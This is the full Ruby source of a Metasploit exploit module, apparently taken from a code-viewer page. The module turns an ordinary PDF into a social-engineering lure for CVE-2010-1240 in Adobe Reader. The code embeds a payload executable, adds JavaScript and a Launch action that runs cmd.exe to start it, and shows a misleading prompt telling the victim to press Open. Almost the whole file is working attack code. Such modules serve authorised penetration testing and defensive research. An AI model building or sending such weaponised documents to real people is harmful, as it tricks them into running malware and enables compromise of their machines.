|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377  |  ## # $Id: adobe_pdf_embedded_exe.rb 11353 2010-12-16 20:11:01Z egypt $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::PDF_Parse  include Msf::Exploit::FILEFORMAT  include Msf::Exploit::EXE  def initialize(info = {})  super(update_info(info,  'Name' => 'Adobe PDF Embedded EXE Social Engineering',  'Description' => %q{  This module embeds a Metasploit payload into an existing PDF file. The  resulting PDF can be sent to a target as part of a social engineering attack.  },  'License' => MSF_LICENSE,  'Author' =>  [  'Colin Ames <amesc[at]attackresearch.com>', # initial module  'jduck' # add Documents for vista/win7  ],  'Version'=> '$Revision: 11353 $',  'References' =>  [  [ 'CVE', '2010-1240' ],  [ 'OSVDB', '63667' ],  [ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ],  [ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ],  [ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ]  ],  'Payload' =>  {  'Space' => 2048,  'DisableNops' => true,  'StackAdjustment' => -3500,  },  'Platform' => 'win',  'Targets' =>  [  [ 'Adobe Reader v8.x, v9.x (Windows XP SP3 English)', { 'Ret' => '' } ]  ],  'DefaultTarget' => 0))  register_options(  [  OptString.new('INFILENAME', [ true, 'The Input PDF filename.']),  OptString.new('EXENAME', [ false, 'The Name of payload exe.']),  OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),  OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area',  "To view the encrypted content please tick the \"Do not show this message again\" box and press Open."]),  ], self.class)  end  def exploit  file_name = datastore['INFILENAME']  exe_name = datastore['EXENAME']  print_status("Reading in '#{file_name}'...")  stream = read_pdf()  print_status("Parsing '#{file_name}'...")  pdf_objects = parse_pdf(stream)  print_status("Parsing Successful.")  xref_trailers = pdf_objects[0]  trailers = pdf_objects[1]  startxrefs = pdf_objects[2]  root_obj = pdf_objects[3]  output = basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxrefs.last)  print_status("Creating '#{datastore['FILENAME']}' file...")  file_create(output)  end  def ef_payload(pdf_name,payload_exe,obj_num)  if !(payload_exe and payload_exe.length > 0)  print_status("Using '#{datastore['PAYLOAD']}' as payload...")  payload_exe = generate_payload_exe  file_size = payload_exe.length  stream = Rex::Text.zlib_deflate(payload_exe)  md5 = Rex::Text.md5(stream)  else  print_status("Using '#{datastore['EXENAME']}' as payload...")  file_size = File.size(payload_exe)  stream = Rex::Text.zlib_deflate(IO.read(payload_exe))  md5 = Rex::Text.md5(File.read(payload_exe))  end  output = String.new()  output << "#{obj_num.to_i + 1} 0 obj\r<</UF(#{pdf_name}.pdf)/F(#{pdf_name}.pdf)/EF<</F #{obj_num.to_i + 2} 0 R>>/Desc(#{pdf_name})/Type/Filespec>>\rendobj\r"  output << "#{obj_num.to_i + 2} 0 obj\r<</Subtype/application#2Fpdf/Length #{stream.length + 3}/Filter/FlateDecode/DL #{file_size}/Params<</Size #{file_size}/CheckSum<#{md5.upcase}>>>>>stream\r#{stream}\r\nendstream\rendobj\r"  return output  end  def js_payload(pdf_name,obj_num)  output = String.new()  output << "#{obj_num.to_i + 3} 0 obj\r<</S/JavaScript/JS(this.exportDataObject({ cName: \"#{pdf_name}\", nLaunch: 0 });)/Type/Action>>\rendobj\r"  output << "#{obj_num.to_i + 4} 0 obj\r<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\\\windows\\\\system32)/P(/Q /C "  # change to the home drive/path no matter what  output << "%HOMEDRIVE%&cd %HOMEPATH%"  # check for the pdf in these dirs, in this order..  dirs = [ "Desktop", "My Documents", "Documents" ]  dirs.each { |dir|  fmt = "&"+  "("+  "if exist \"%s\" "+  "(cd \"%s\")"+  ")"  fname = "%s\\\\#{pdf_name}.pdf" % dir  output << fmt % [fname, dir]  }  launch_message = datastore['LAUNCH_MESSAGE']  lines = []  launch_message.gsub(/.{1,80}(?:\s|\Z)/) { lines << $& }  if (lines.length > 2)  print_status("Warning: the LAUNCH_MESSAGE is more than 2 lines. It may not display correctly.")  end  output << "&"+  # note: the following doesn't work with spaces, and adding quotes doesn't execute the payload :-/  "(start #{pdf_name}.pdf)"+  # note: The below message modifies the text in the "File:" textfield of the "Launch File" dialog  ("\n"*10) +  launch_message+  # note: this extra rparen is required.  ")"+  ">>>>\rendobj\r"  return output  end  def basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxref)  file_name = file_name.split(/\//).pop.to_s  match = file_name.match(/(.+)\.pdf/)  if match  pdf_name = match[1]  end  catalog = parse_object(xref_trailers,root_obj,stream)  match = catalog.match(/Names (\d+ \d) R/m)  if match  names = parse_object(xref_trailers,match[1],stream)  match = names.match(/EmbeddedFiles (\d+ \d) R/m)  if match  embedded_files = parse_object(xref_trailers,match[1],stream)  new_embedded_files = embedded_files.gsub(/(\]>>)/m,"(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{trailers[0].fetch("Size")} 0 R" + '\1')  else  new_names = names.gsub(/(>>.*)/m,"/EmbeddedFiles #{trailers[0].fetch("Size")} 0 R" + '\1')  end  else  new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/Names #{trailers[0].fetch("Size")} 0 R")  end  if catalog.match(/OpenAction/m)  match = catalog.match(/OpenAction (\d+ \d) R/m)  if match  open_action = "#{match[1]} R"  if new_catalog  if new_embedded_files  new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")  elsif new_names  new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")  else  new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")  end  else  if new_embedded_files  new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")  elsif new_names  new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")  else  new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")  end  end  else  if new_catalog  new_catalog = new_catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")  else  new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")  end  end  else  if new_catalog  if new_embedded_files  new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")  elsif new_names  new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")  else  new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")  end  else  if new_embedded_files  new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")  elsif new_names  new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")  else  new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")  end  end  end  pages_obj = catalog.match(/Pages (\d+ \d) R/m)[1]  pages = parse_object(xref_trailers,pages_obj,stream)  page_obj = pages.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)[1]  page = parse_object(xref_trailers,page_obj,stream)  match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)  while match  page_obj = match[1]  page = parse_object(xref_trailers,page_obj,stream)  match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)  end  match = page.match(/AA<<\/O (\d+ \d) R/m)  if match  aa = parse_object(xref_trailers,match[1],stream)  end  new_pdf = String.new()  xrefs = String.new()  if new_embedded_files  pdf_payload = String.new()  num = trailers[0].fetch("Size").to_i - 1  pdf_payload << ef_payload(pdf_name,exe_name,num)  pdf_payload << js_payload(pdf_name,num)  new_pdf << stream << pdf_payload  xrefs = xref_create(new_pdf,stream.length,"*")  new_size = trailers[0].fetch("Size").to_i + 4  if aa  new_page = page.gsub(/(AA<<\/O )\d+ \d R(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 3} 0" + '\2')  else  new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 3} 0 R>>" + '\1')  end  new_pdf << new_catalog  xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")  new_pdf << new_page  xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")  new_pdf << new_embedded_files  xrefs << xref_create(new_pdf,(new_pdf.length - new_embedded_files.length), "1")  if trailers[0].has_key?("ID")  new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"  else  new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"  end  new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_embedded_files.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"  elsif new_names  pdf_payload = String.new()  num = trailers[0].fetch("Size").to_i  pdf_payload << "#{num} 0 obj\r<</Names[(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{num + 1} 0 R]>>\rendobj\r"  pdf_payload << ef_payload(pdf_name,exe_name,num)  pdf_payload << js_payload(pdf_name,num)  new_pdf << stream << pdf_payload  xrefs = xref_create(new_pdf,stream.length,"*")  new_size = trailers[0].fetch("Size").to_i + 5  if aa  new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 4} 0" + '\2')  else  new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 4} 0 R>>" + '\1')  end  new_pdf << new_catalog  xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")  new_pdf << new_page  xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")  new_pdf << new_names  xrefs << xref_create(new_pdf,(new_pdf.length - new_names.length), "1")  if trailers[0].has_key?("ID")  new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"  else  new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"  end  new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_names.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"  else  pdf_payload = String.new()  num = trailers[0].fetch("Size").to_i + 1  pdf_payload << "#{trailers[0].fetch("Size")} 0 obj\r<</EmbeddedFiles #{num} 0 R>>\rendobj\r"  pdf_payload << "#{num} 0 obj\r<</Names[(#{pdf_name})#{num + 1} 0 R]>>\rendobj\r"  pdf_payload << ef_payload(pdf_name,exe_name,num)  pdf_payload << js_payload(pdf_name,num)  new_pdf << stream << pdf_payload  xrefs = xref_create(new_pdf,stream.length,"*")  new_size = trailers[0].fetch("Size").to_i + 6  if aa  new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 5} 0" + '\2')  else  new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 5} 0 R>>" + '\1')  end  new_pdf << new_catalog  xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")  new_pdf << new_page  xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")  if trailers[0].has_key?("ID")  new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"  else  new_pdf << "xref\r\n" << xrefs  new_pdf << "trailer\r\n"  new_pdf << "<</Size #{new_size}/Prev #{startxref}"  new_pdf << "/Root #{trailers[0].fetch("Root")} R"  new_pdf << "/Info #{trailers[0].fetch("Info")} R>>\r\n"  end  new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"  end  return new_pdf  end end  |